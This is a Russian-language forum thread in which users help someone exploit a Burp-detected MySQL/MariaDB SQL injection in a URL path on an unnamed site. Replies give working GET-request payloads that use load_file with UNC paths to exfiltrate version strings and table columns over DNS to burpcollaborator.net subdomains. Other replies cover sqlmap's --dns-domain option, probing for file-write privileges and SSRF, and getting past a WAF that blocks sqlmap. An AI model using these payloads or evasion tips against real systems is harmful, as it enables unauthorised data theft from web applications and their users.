Первый раз столкнулся с такой уязвимостью Бурп Говорит sql Code: The URL path filename appears to be vulnerable to SQL injection attacks. The payload (select load_file('\\\\x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net\\wer')) was submitted in the URL path filename. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The database appears to be MySQL. GET /(select%20load_file('%5c%5c%5c%5x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net%5c%5cwer'))/ Code: The Collaborator server received a DNS lookup of type A for the domain name x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net При переходе по get запросу пишет страница не найдена!Я так понимаю он както меняет DNS запись? Подскажите как крутануть
Выполнился подзапрос и произошла попытка отрезольвить поддомен burpcollaborator.net. Это говорит о том что доступны функциии работы с файлами, load_file() - точно доступна. Т.е. - чтение файлов, возможно - запись файлов. Это - SQLi с файловыми привилегиями, соответственно все способы работы с SQLi и пробовать. И можно проверить на SSRF.
Вот на этом моменте, нужно запомнить, что это справедливо только для Windows, ибо UNC. Ничего не меняется Отображается факт резолва доменного имени. Которое было запрошено в результате выполнения SQL запроса, инъекции в текущем кейсе. Техника называется DNS Exfiltration и относится к классу Out-of-Band (OOB) техник. Применима в различных видах слепых (blind) уязвимостей и не только. Простым языком, атакующий вытягивает данные через DNS запросы с атакуемой машины к своему DNS серверу. Например, используя такой запрос: Code: (select load_file(concat('\\\\',version(),'.burpcollaborator.net\\'))) Прилетит, что-то типа 10.3.31-MariaDB-0ubuntu0.20.04.1.burpcollaborator.net и т.д. и т.п. Более подробно про OOB в MySQL: https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf Стоит отмтетить, что техники типа Time-Based, Boolean-Based, OOB, стоит использовать в последнюю очередь, в связи с их накладными расходами и лишней "шумностью". И как правильно подметил @dooble, нужно проверить права на запись файлов, что будет гораздо проще, а, возможно даже, это есть основная цель атаки
Сканер зацепил SQLi проверкой OOB, но это не значит, что другие вектора 100% недоступны. Возможно это обычная SQLi, возможно даже с выводом. Поэтому можно пробовать все, что умеем с SQLi.
Поставил на Burp -"SQLMap DNS Collaborator" запускаю мап с настройками --dns-domain=zzzzzz.burpcollaborator.net. [CRITICAL] unable to connect to the target URL Мне нужно сделать проброс портов(53) я так понимаю?
Продолжение темы!Да ваф не пускает именно sqlmap!Как он(ваф) определяет что запрос делает именно sqlmap?Какие варианты обхода есть?
Вопрос слишком размыт, недостаточно входных данных. Вариаций срабатывания блокировок могут быть сотни, если не тысячи. И от вендора, к вендору, а так же технологического стека, будут свои заморочки. Пока, можно посоветовать только это: https://bit.ly/3ryAB53 https://bit.ly/3lBaeYj Во избежание гадания на кофейной гуще, требуется: - Полный запрос (HTTP) который блокируется - С какимим параметрами запускается SQLMap И тогда, возможно, кто-то поможет обойти/раскрутить инъекцию.
Не обязательно использовать sqlmap, раз "руками" проходит, можно крутить опираясь на Burp Collaborator client, по технологии, как писали выше. Получаем поддомен (по кнопке "Copy to clipboard"), например выдали такой адрес: etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net тогда шлем запросы Code: GET /(select%20load_file(concat('\\\\',version(),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1 Сервер не знает такое имя ресурса, поэтому попытается его отрезольвить, т.е. запросит свой ДНС сервер и тогда в окне Burp Collaborator client мы увидим этот запрос, где частью имени будет наша полезная нагрузка Code: 10.3.31-MariaDB-0ubuntu0.20.04.1.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net вместо version() можно вставить подзапросы, типа Code: GET /(select%20load_file(concat('\\\\','random_string.',(select%20version()),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1 Code: GET /(select%20load_file(concat('\\\\','random_string.',(select%20column_name%20from%20table_name),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1 рандомную строку нужно добавлять, если шлем повторные запросы, они уже известны нашему ДНС и метод не сработает. Если в результате подзапроса будут недопустимые символы для ДНС, можно их захексить (hex()). Вот тогда и будет видно, на чего агрится ваф.